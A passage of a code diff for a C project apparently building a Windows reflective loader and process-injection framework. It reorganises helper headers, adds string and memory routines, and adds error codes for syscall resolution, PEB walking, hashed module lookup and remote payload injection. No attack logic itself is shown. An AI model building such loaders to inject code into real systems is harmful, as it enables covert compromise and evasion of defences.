* @brief Computes the configured hash of a standard ASCII string, converting to
|
||||||
* lowercase.
|
* lowercase.
|
||||||
* @note Use this for DLL names found in the PE Import Directory.
|
* @note Use this for DLL names found in the PE Import Directory.
|
||||||
*/
|
*/
|
||||||
DWORD snd_hash_lower(const char *str);
|
uint32_t snd_hash_lower(const char *str);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Computes the configured hash of a wide string, converting to lowercase
|
* @brief Computes the configured hash of a wide string, converting to lowercase
|
||||||
* (Case-Insensitive).
|
* (Case-Insensitive).
|
||||||
* @note Use this for finding DLL module names in the PEB.
|
* @note Use this for finding DLL module names in the PEB.
|
||||||
*/
|
*/
|
||||||
DWORD snd_hash_wide_lower(const wchar_t *str);
|
uint32_t snd_hash_wide_lower(const wchar_t *str);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -1,305 +0,0 @@
|
|||||||
#ifndef SND_COMMON_HELPERS_H
|
|
||||||
#define SND_COMMON_HELPERS_H
|
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_DEBUG
|
|
||||||
* @brief Global toggle for debug output.
|
|
||||||
* Set to 1 to enable logging macros, or 0 to compile them out entirely for
|
|
||||||
* Release builds.
|
|
||||||
*/
|
|
||||||
#ifndef SND_DEBUG
|
|
||||||
#define SND_DEBUG 0
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_USE_PRINTF
|
|
||||||
* @brief Toggles the debug output destination.
|
|
||||||
* If 1, debug macros route to standard stdout via `printf`.
|
|
||||||
* If 0, debug macros route to the Windows kernel debugger via
|
|
||||||
* `OutputDebugStringA`.
|
|
||||||
*/
|
|
||||||
#ifndef SND_USE_PRINTF
|
|
||||||
#define SND_USE_PRINTF 0
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_BEGIN_EXTERN_C
|
|
||||||
* @brief Opens an `extern "C"` linkage block for C++ compatibility.
|
|
||||||
*/
|
|
||||||
/**
|
|
||||||
* @def SND_END_EXTERN_C
|
|
||||||
* @brief Closes an `extern "C"` linkage block.
|
|
||||||
*/
|
|
||||||
#ifdef __cplusplus
|
|
||||||
#define SND_BEGIN_EXTERN_C extern "C" {
|
|
||||||
#define SND_END_EXTERN_C }
|
|
||||||
#else
|
|
||||||
#define SND_BEGIN_EXTERN_C
|
|
||||||
#define SND_END_EXTERN_C
|
|
||||||
#endif
|
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_FORCE_INLINE
|
|
||||||
* @brief Compiler-agnostic macro to force function inlining.
|
|
||||||
* Useful for embedding bounds checks and offset calculations directly into the
|
|
||||||
* caller's assembly.
|
|
||||||
*/
|
|
||||||
#if defined(_MSC_VER)
|
|
||||||
#define SND_FORCE_INLINE static __forceinline
|
|
||||||
#else
|
|
||||||
#define SND_FORCE_INLINE static inline __attribute__((always_inline))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#if SND_DEBUG
|
|
||||||
#include <stdarg.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
#if SND_USE_PRINTF
|
|
||||||
/**
|
|
||||||
* @def SND_FDEBUG_PRINT
|
|
||||||
* @brief Formats and prints a debug message to a specific file stream (e.g.,
|
|
||||||
* stderr, stdout).
|
|
||||||
*/
|
|
||||||
#define SND_FDEBUG_PRINT(stream, fmt, ...) \
|
|
||||||
do { \
|
|
||||||
FILE *_s = (stream) ? (FILE *)(stream) : stdout; \
|
|
||||||
fprintf(_s, fmt, ##__VA_ARGS__); \
|
|
||||||
fflush(_s); \
|
|
||||||
} while (0)
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_DEBUG_PRINT
|
|
||||||
* @brief Formats and prints a debug message to standard output.
|
|
||||||
*/
|
|
||||||
#define SND_DEBUG_PRINT(fmt, ...) SND_FDEBUG_PRINT(stdout, fmt, ##__VA_ARGS__)
|
|
||||||
|
|
||||||
#else
|
|
||||||
/**
|
|
||||||
* @def SND_DEBUG_MAX_LEN
|
|
||||||
* @brief Maximum string length for the internal debug formatting buffer.
|
|
||||||
*/
|
|
||||||
#define SND_DEBUG_MAX_LEN 1024
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Internal variadic wrapper to format strings for the Windows Debugger.
|
|
||||||
* @note This is completely stripped out of Release builds.
|
|
||||||
*/
|
|
||||||
static inline void snd_debug_print_internal(const char *fmt, ...) {
|
|
||||||
char buf[SND_DEBUG_MAX_LEN];
|
|
||||||
va_list args;
|
|
||||||
|
|
||||||
va_start(args, fmt);
|
|
||||||
// Safely format the string into our local buffer (requires CRT in debug mode)
|
|
||||||
vsnprintf(buf, sizeof(buf), fmt, args);
|
|
||||||
va_end(args);
|
|
||||||
|
|
||||||
// Send the formatted string to the Windows kernel debug buffer
|
|
||||||
OutputDebugStringA(buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Map both macros to the new OutputDebugString wrapper
|
|
||||||
#define SND_FDEBUG_PRINT(stream, fmt, ...) snd_debug_print_internal(fmt, ##__VA_ARGS__)
|
|
||||||
|
|
||||||
#define SND_DEBUG_PRINT(fmt, ...) snd_debug_print_internal(fmt, ##__VA_ARGS__)
|
|
||||||
|
|
||||||
#endif // SND_USE_PRINTF
|
|
||||||
|
|
||||||
#else
|
|
||||||
// When SND_DEBUG is 0, these macros compile to empty no-ops to strip strings
|
|
||||||
// from the binary.
|
|
||||||
#define SND_FDEBUG_PRINT(stream, fmt, ...) \
|
|
||||||
do { \
|
|
||||||
(void)(stream); \
|
|
||||||
} while (0)
|
|
||||||
|
|
||||||
#define SND_DEBUG_PRINT(fmt, ...) \
|
|
||||||
do { \
|
|
||||||
(void)0; \
|
|
||||||
} while (0)
|
|
||||||
#endif // SND_DEBUG
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @def SND_PTR_ADD
|
|
||||||
* @brief Safely adds a byte offset to a base pointer by casting to a BYTE
|
|
||||||
* pointer first.
|
|
||||||
*/
|
|
||||||
#define SND_PTR_ADD(base, offset) ((BYTE *)(base) + (offset))
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Prints a combined hexadecimal and ASCII view of a byte buffer.
|
|
||||||
* @param dat Pointer to the first byte to print.
|
|
||||||
* @param len_dat Number of bytes to dump from @p dat.
|
|
||||||
* @param base_off Base address used to compute printed relative offsets.
|
|
||||||
*
|
|
||||||
* @note Output is gated by `SND_DEBUG` through debug print macros.
|
|
||||||
*/
|
|
||||||
void snd_dump_hex(const void *dat, size_t len_dat, ULONG_PTR base_off);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Checks if a given size and offset are within the bounds of a total
|
|
||||||
* size.
|
|
||||||
* @param total_size The total size of the buffer.
|
|
||||||
* @param offset The offset from the start.
|
|
||||||
* @param size The size of the region to check.
|
|
||||||
* @return TRUE if within bounds, FALSE otherwise.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE BOOL snd_bounds_check(SIZE_T total_size, SIZE_T offset, SIZE_T size) {
|
|
||||||
if (offset > total_size)
|
|
||||||
return FALSE;
|
|
||||||
if (size > total_size - offset)
|
|
||||||
return FALSE;
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Checks if a pointer and size are within the bounds of a base pointer
|
|
||||||
* and total size.
|
|
||||||
* @param base The base pointer.
|
|
||||||
* @param total_size The total size of the base buffer.
|
|
||||||
* @param ptr The target pointer to check.
|
|
||||||
* @param size The size of the region at the target pointer.
|
|
||||||
* @return TRUE if within bounds, FALSE otherwise.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE BOOL snd_ptr_bounds_check(const void *base, SIZE_T total_size, const void *ptr, SIZE_T size) {
|
|
||||||
if (base == NULL || ptr == NULL)
|
|
||||||
return FALSE;
|
|
||||||
ULONG_PTR ubase = (ULONG_PTR)base;
|
|
||||||
ULONG_PTR utarget = (ULONG_PTR)ptr;
|
|
||||||
if (utarget < ubase)
|
|
||||||
return FALSE;
|
|
||||||
SIZE_T offset = (SIZE_T)(utarget - ubase);
|
|
||||||
return snd_bounds_check(total_size, offset, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, CRT-independent memory zeroing routine.
|
|
||||||
* Replaces memset.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE void snd_memzero(void *dest, size_t size) {
|
|
||||||
if (!dest)
|
|
||||||
return;
|
|
||||||
volatile BYTE *p = (volatile BYTE *)dest;
|
|
||||||
for (size_t i = 0; i < size; i++) {
|
|
||||||
p[i] = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Raw byte copy routine.
|
|
||||||
* Replaces memcpy.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE void snd_memcpy(void *dest, const void *src, size_t count) {
|
|
||||||
if (!dest || !src)
|
|
||||||
return;
|
|
||||||
BYTE *d = (BYTE *)dest;
|
|
||||||
const BYTE *s = (const BYTE *)src;
|
|
||||||
for (size_t i = 0; i < count; i++) {
|
|
||||||
d[i] = s[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, CRT-independent string length evaluation.
|
|
||||||
* Replaces strnlen.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE size_t snd_strnlen(const char *str, size_t max_len) {
|
|
||||||
if (!str)
|
|
||||||
return 0;
|
|
||||||
size_t len = 0;
|
|
||||||
while (len < max_len && str[len] != '\0') {
|
|
||||||
len++;
|
|
||||||
}
|
|
||||||
return len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, truncation-safe string copying.
|
|
||||||
* Replaces strncpy / strncpy_s.
|
|
||||||
*/
|
|
||||||
SND_FORCE_INLINE void snd_strncpy(char *dest, size_t dest_size, const char *src, size_t max_src_len) {
|
|
||||||
if (!dest || dest_size == 0 || !src)
|
|
||||||
return;
|
|
||||||
|
|
||||||
size_t i = 0;
|
|
||||||
while (i < (dest_size - 1) && i < max_src_len && src[i] != '\0') {
|
|
||||||
dest[i] = src[i];
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
dest[i] = '\0';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, CRT-independent string concatenation.
|
|
||||||
* Replaces strcat / strcat_s.
|
|
||||||
*/
|
|
||||||
static inline void snd_strncat(char *dest, SIZE_T dest_size, const char *src, SIZE_T max_src_len) {
|
|
||||||
if (!dest || dest_size == 0 || !src)
|
|
||||||
return;
|
|
||||||
|
|
||||||
SIZE_T dest_len = 0;
|
|
||||||
while (dest_len < dest_size && dest[dest_len] != '\0') {
|
|
||||||
dest_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dest_len >= dest_size - 1) {
|
|
||||||
dest[dest_size - 1] = '\0';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
SIZE_T i = 0;
|
|
||||||
while (i < max_src_len && src[i] != '\0' && (dest_len + i) < (dest_size - 1)) {
|
|
||||||
dest[dest_len + i] = src[i];
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
|
|
||||||
dest[dest_len + i] = '\0';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, CRT-independent character search.
|
|
||||||
* Replaces strchr.
|
|
||||||
*/
|
|
||||||
static inline const char *snd_strnchr(const char *str, char c, SIZE_T max_len) {
|
|
||||||
if (!str)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
for (SIZE_T i = 0; i < max_len; i++) {
|
|
||||||
if (str[i] == c) {
|
|
||||||
return &str[i];
|
|
||||||
}
|
|
||||||
if (str[i] == '\0') {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Bounded, CRT-independent string comparison.
|
|
||||||
* Replaces strcmp / strncmp.
|
|
||||||
*/
|
|
||||||
static inline int snd_strncmp(const char *s1, const char *s2, SIZE_T max_len) {
|
|
||||||
if (!s1 || !s2)
|
|
||||||
return (s1 == s2) ? 0 : ((s1 < s2) ? -1 : 1);
|
|
||||||
|
|
||||||
for (SIZE_T i = 0; i < max_len; i++) {
|
|
||||||
if (s1[i] != s2[i]) {
|
|
||||||
return (int)((unsigned char)s1[i] - (unsigned char)s2[i]);
|
|
||||||
}
|
|
||||||
if (s1[i] == '\0') {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
|
||||||
|
|
||||||
#endif // SND_COMMON_HELPERS_H
|
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#ifndef SND_COMMON_MACROS_H
|
||||||
|
#define SND_COMMON_MACROS_H
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @def SND_BEGIN_EXTERN_C
|
||||||
|
* @brief Opens an `extern "C"` linkage block for C++ compatibility.
|
||||||
|
*/
|
||||||
|
/**
|
||||||
|
* @def SND_END_EXTERN_C
|
||||||
|
* @brief Closes an `extern "C"` linkage block.
|
||||||
|
*/
|
||||||
|
#ifdef __cplusplus
|
||||||
|
#define SND_BEGIN_EXTERN_C extern "C" {
|
||||||
|
#define SND_END_EXTERN_C }
|
||||||
|
#else
|
||||||
|
#define SND_BEGIN_EXTERN_C
|
||||||
|
#define SND_END_EXTERN_C
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @def SND_FORCE_INLINE
|
||||||
|
* @brief Compiler-agnostic macro to force function inlining.
|
||||||
|
* Useful for embedding bounds checks and offset calculations directly into the
|
||||||
|
* caller's assembly.
|
||||||
|
*/
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#define SND_FORCE_INLINE static __forceinline
|
||||||
|
#else
|
||||||
|
#define SND_FORCE_INLINE static inline __attribute__((always_inline))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // SND_COMMON_MACROS_H
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
#ifndef SND_COMMON_MEMORY_H
|
||||||
|
#define SND_COMMON_MEMORY_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @def SND_PTR_ADD
|
||||||
|
* @brief Safely adds a byte offset to a base pointer.
|
||||||
|
*/
|
||||||
|
#define SND_PTR_ADD(base, offset) ((unsigned char *)(base) + (offset))
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks if a given size and offset are within the bounds of a total size.
|
||||||
|
* @return 1 if within bounds, 0 otherwise.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE int snd_memory_bounds_check(size_t total_size, size_t offset, size_t size) {
|
||||||
|
if (offset > total_size)
|
||||||
|
return 0;
|
||||||
|
if (size > total_size - offset)
|
||||||
|
return 0;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks if a pointer and size are within the bounds of a base pointer and total size.
|
||||||
|
* @return 1 if within bounds, 0 otherwise.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE int snd_memory_ptr_bounds_check(const void *base, size_t total_size, const void *ptr, size_t size) {
|
||||||
|
if (base == NULL || ptr == NULL)
|
||||||
|
return 0;
|
||||||
|
uintptr_t ubase = (uintptr_t)base;
|
||||||
|
uintptr_t utarget = (uintptr_t)ptr;
|
||||||
|
if (utarget < ubase)
|
||||||
|
return 0;
|
||||||
|
size_t offset = (size_t)(utarget - ubase);
|
||||||
|
return snd_memory_bounds_check(total_size, offset, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent memory zeroing routine. Replaces memset.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_memzero(void *dest, size_t size) {
|
||||||
|
if (!dest)
|
||||||
|
return;
|
||||||
|
volatile unsigned char *p = (volatile unsigned char *)dest;
|
||||||
|
for (size_t i = 0; i < size; i++) {
|
||||||
|
p[i] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Raw byte copy routine. Replaces memcpy.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_memcpy(void *dest, const void *src, size_t count) {
|
||||||
|
if (!dest || !src)
|
||||||
|
return;
|
||||||
|
unsigned char *d = (unsigned char *)dest;
|
||||||
|
const unsigned char *s = (const unsigned char *)src;
|
||||||
|
for (size_t i = 0; i < count; i++) {
|
||||||
|
d[i] = s[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_COMMON_MEMORY_H
|
||||||
@@ -1,27 +1,35 @@
|
|||||||
#ifndef SND_COMMON_STATUS_H
|
#ifndef SND_COMMON_STATUS_H
|
||||||
#define SND_COMMON_STATUS_H
|
#define SND_COMMON_STATUS_H
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
#if SND_DEBUG
|
#if SND_DEBUG
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
// Maximum length for error context strings (including null terminator)
|
// Maximum length for error context strings (including null terminator)
|
||||||
#define SND_MAX_CTX_LEN 128
|
#define SND_MAX_CTX_LEN 128
|
||||||
|
#define SND_FAILED(x) (x.code != SND_SUCCESS)
|
||||||
|
#define SND_SUCCEEDED(x) (x.code == SND_SUCCESS)
|
||||||
|
|
||||||
typedef enum _SND_STATUS_CODE {
|
typedef enum _SND_STATUS_CODE {
|
||||||
SND_SUCCESS = 0,
|
SND_SUCCESS = 0,
|
||||||
SND_ERROR_GENERIC = -1,
|
SND_ERROR_GENERIC = -1,
|
||||||
SND_STATUS_INVALID_PARAMETER = -2,
|
SND_STATUS_NULL_POINTER = -2,
|
||||||
SND_STATUS_INTEGER_OVERFLOW = -3,
|
SND_STATUS_INTEGER_OVERFLOW = -3,
|
||||||
SND_STATUS_UNSUPPORTED = -4,
|
SND_STATUS_UNSUPPORTED = -4,
|
||||||
SND_STATUS_NOT_INITIALIZED = -5,
|
SND_STATUS_NOT_INITIALIZED = -5,
|
||||||
|
SND_STATUS_BUFFER_TOO_SMALL = -6,
|
||||||
|
|
||||||
|
// Core Engine Execution Errors
|
||||||
|
SND_STATUS_TOO_MANY_ARGUMENTS = 0x50,
|
||||||
|
SND_STATUS_NTDLL_NOT_INITIALIZED,
|
||||||
|
SND_STATUS_RESOLVER_NOT_INITIALIZED,
|
||||||
|
SND_STATUS_OM_NOT_INITIALIZED,
|
||||||
|
SND_STATUS_PIPELINE_EXHAUSTED,
|
||||||
|
|
||||||
// Command-line argument errors
|
// Command-line argument errors
|
||||||
SND_STATUS_MISSING_COMMAND_LINE_ARGS = 0x100,
|
SND_STATUS_MISSING_COMMAND_LINE_ARGS = 0x100,
|
||||||
@@ -51,6 +59,8 @@ typedef enum _SND_STATUS_CODE {
|
|||||||
SND_STATUS_INVALID_IMPORT_TABLE_SIZE,
|
SND_STATUS_INVALID_IMPORT_TABLE_SIZE,
|
||||||
SND_STATUS_INVALID_FILE_OFFSET,
|
SND_STATUS_INVALID_FILE_OFFSET,
|
||||||
SND_STATUS_DIRECTORY_NOT_FOUND,
|
SND_STATUS_DIRECTORY_NOT_FOUND,
|
||||||
|
SND_STATUS_CORRUPTED_STATE,
|
||||||
|
SND_STATUS_IMAGE_NOT_MAPPED,
|
||||||
|
|
||||||
// Reflective loading errors
|
// Reflective loading errors
|
||||||
SND_STATUS_SECTION_COPY_FAILED = 0x400,
|
SND_STATUS_SECTION_COPY_FAILED = 0x400,
|
||||||
@@ -68,15 +78,32 @@ typedef enum _SND_STATUS_CODE {
|
|||||||
SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED,
|
SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED,
|
||||||
SND_STATUS_MISSING_DLL_EXPORT_NAME,
|
SND_STATUS_MISSING_DLL_EXPORT_NAME,
|
||||||
SND_STATUS_INVALID_STAGE_SEQUENCE,
|
SND_STATUS_INVALID_STAGE_SEQUENCE,
|
||||||
SND_STATUS_CORRUPTED_STATE,
|
|
||||||
SND_FAILED_TO_EXECUTE,
|
SND_FAILED_TO_EXECUTE,
|
||||||
|
SND_STATUS_LOCAL_EXECUTION_BLOCKED,
|
||||||
|
|
||||||
// Syscall resolution errors
|
// Syscall resolution errors
|
||||||
SND_STATUS_SSN_NOT_FOUND,
|
SND_STATUS_SSN_NOT_FOUND = 0x500,
|
||||||
SND_STATUS_SSN_BUFFER_TOO_SMALL,
|
|
||||||
|
|
||||||
// PEB
|
// PEB
|
||||||
SND_STATUS_PEB_MODULE_NOT_FOUND,
|
SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600,
|
||||||
|
SND_STATUS_PEB_PROCESS_PARAMETERS_NOT_FOUND,
|
||||||
|
|
||||||
|
// OS errors
|
||||||
|
SND_STATUS_MODULE_NOT_FOUND = 0x800,
|
||||||
|
SND_STATUS_SECTION_OPEN_FAILED,
|
||||||
|
SND_STATUS_SECTION_MAP_FAILED,
|
||||||
|
SND_STATUS_HANDLE_CLOSE_FAILED,
|
||||||
|
SND_STATUS_PROCESS_OPEN_FAILED,
|
||||||
|
SND_STATUS_VIRTUAL_ALLOC_FAILED,
|
||||||
|
SND_STATUS_VIRTUAL_WRITE_FAILED,
|
||||||
|
SND_STATUS_VIRTUAL_PROTECT_FAILED,
|
||||||
|
SND_STATUS_THREAD_CREATE_FAILED,
|
||||||
|
SND_STATUS_VIRTUAL_FREE_FAILED,
|
||||||
|
|
||||||
|
// Remote process errors
|
||||||
|
SND_STATUS_ACCESS_DENIED = 0x900,
|
||||||
|
SND_STATUS_INVALID_PAYLOAD,
|
||||||
|
SND_STATUS_INVALID_INJECTION_TARGET,
|
||||||
} snd_status_code_t;
|
} snd_status_code_t;
|
||||||
|
|
||||||
typedef struct _SND_STATUS {
|
typedef struct _SND_STATUS {
|
||||||
@@ -118,6 +145,8 @@ static inline snd_status_t _snd_make_success() {
|
|||||||
#define SND_ERR_CTX(c, ...) _snd_make_err(c, 0, __FILE__, __LINE__, __VA_ARGS__)
|
#define SND_ERR_CTX(c, ...) _snd_make_err(c, 0, __FILE__, __LINE__, __VA_ARGS__)
|
||||||
#define SND_ERR_W32(code) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, NULL)
|
#define SND_ERR_W32(code) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, NULL)
|
||||||
#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, __VA_ARGS__)
|
#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError(), __FILE__, __LINE__, __VA_ARGS__)
|
||||||
|
#define SND_ERR_NT(code, nt_status) _snd_make_err(code, nt_status, __FILE__, __LINE__, NULL)
|
||||||
|
#define SND_ERR_NT_CTX(code, nt_status, ...) _snd_make_err(code, nt_status, __FILE__, __LINE__, __VA_ARGS__)
|
||||||
|
|
||||||
#else
|
#else
|
||||||
|
|
||||||
@@ -138,6 +167,8 @@ static inline snd_status_t _snd_make_err(snd_status_code_t code, int os_error) {
|
|||||||
#define SND_ERR_CTX(code, ...) _snd_make_err(code, 0)
|
#define SND_ERR_CTX(code, ...) _snd_make_err(code, 0)
|
||||||
#define SND_ERR_W32(code) _snd_make_err(code, GetLastError())
|
#define SND_ERR_W32(code) _snd_make_err(code, GetLastError())
|
||||||
#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError())
|
#define SND_ERR_W32_CTX(code, ...) _snd_make_err(code, GetLastError())
|
||||||
|
#define SND_ERR_NT(code, nt_status) _snd_make_err(code, nt_status)
|
||||||
|
#define SND_ERR_NT_CTX(code, nt_status, ...) _snd_make_err(code, nt_status)
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,174 @@
|
|||||||
|
#ifndef SND_COMMON_STRING_H
|
||||||
|
#define SND_COMMON_STRING_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent string length evaluation. Replaces strnlen.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE size_t snd_strnlen(const char *str, size_t max_len) {
|
||||||
|
if (!str)
|
||||||
|
return 0;
|
||||||
|
size_t len = 0;
|
||||||
|
while (len < max_len && str[len] != '\0') {
|
||||||
|
len++;
|
||||||
|
}
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, truncation-safe string copying. Replaces strncpy.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_strncpy(char *dest, size_t dest_size, const char *src, size_t max_src_len) {
|
||||||
|
if (!dest || dest_size == 0 || !src)
|
||||||
|
return;
|
||||||
|
size_t i = 0;
|
||||||
|
while (i < (dest_size - 1) && i < max_src_len && src[i] != '\0') {
|
||||||
|
dest[i] = src[i];
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dest[i] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent string concatenation. Replaces strncat.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE void snd_strncat(char *dest, size_t dest_size, const char *src, size_t max_src_len) {
|
||||||
|
if (!dest || dest_size == 0 || !src)
|
||||||
|
return;
|
||||||
|
size_t dest_len = 0;
|
||||||
|
while (dest_len < dest_size && dest[dest_len] != '\0') {
|
||||||
|
dest_len++;
|
||||||
|
}
|
||||||
|
if (dest_len >= dest_size - 1) {
|
||||||
|
dest[dest_size - 1] = '\0';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
size_t i = 0;
|
||||||
|
while (i < max_src_len && src[i] != '\0' && (dest_len + i) < (dest_size - 1)) {
|
||||||
|
dest[dest_len + i] = src[i];
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dest[dest_len + i] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent character search. Replaces strchr.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE const char *snd_strnchr(const char *str, char c, size_t max_len) {
|
||||||
|
if (!str)
|
||||||
|
return NULL;
|
||||||
|
for (size_t i = 0; i < max_len; i++) {
|
||||||
|
if (str[i] == c)
|
||||||
|
return &str[i];
|
||||||
|
if (str[i] == '\0')
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent string comparison. Replaces strncmp.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE int snd_strncmp(const char *s1, const char *s2, size_t max_len) {
|
||||||
|
if (!s1 || !s2)
|
||||||
|
return (s1 == s2) ? 0 : ((s1 < s2) ? -1 : 1);
|
||||||
|
for (size_t i = 0; i < max_len; i++) {
|
||||||
|
if (s1[i] != s2[i])
|
||||||
|
return (int)((unsigned char)s1[i] - (unsigned char)s2[i]);
|
||||||
|
if (s1[i] == '\0')
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, CRT-independent wide string length evaluation. Replaces wcsnlen.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE size_t snd_wcsnlen(const wchar_t *str, size_t max_len) {
|
||||||
|
if (!str)
|
||||||
|
return 0;
|
||||||
|
size_t len = 0;
|
||||||
|
while (len < max_len && str[len] != L'\0') {
|
||||||
|
len++;
|
||||||
|
}
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, case-insensitive wide string comparison. Replaces wcsnicmp.
|
||||||
|
*/
|
||||||
|
SND_FORCE_INLINE int snd_wcsnicmp(const wchar_t *s1, const wchar_t *s2, size_t n) {
|
||||||
|
if (n == 0)
|
||||||
|
return 0;
|
||||||
|
do {
|
||||||
|
wchar_t c1 = *s1++;
|
||||||
|
wchar_t c2 = *s2++;
|
||||||
|
if (c1 >= L'A' && c1 <= L'Z')
|
||||||
|
c1 += (L'a' - L'A');
|
||||||
|
if (c2 >= L'A' && c2 <= L'Z')
|
||||||
|
c2 += (L'a' - L'A');
|
||||||
|
if (c1 != c2)
|
||||||
|
return (int)(c1 - c2);
|
||||||
|
if (c1 == L'\0')
|
||||||
|
break;
|
||||||
|
} while (--n);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Bounded, truncation-safe wide string copying. Replaces wcsncpy.
|
||||||
|
*/
|
||||||
|
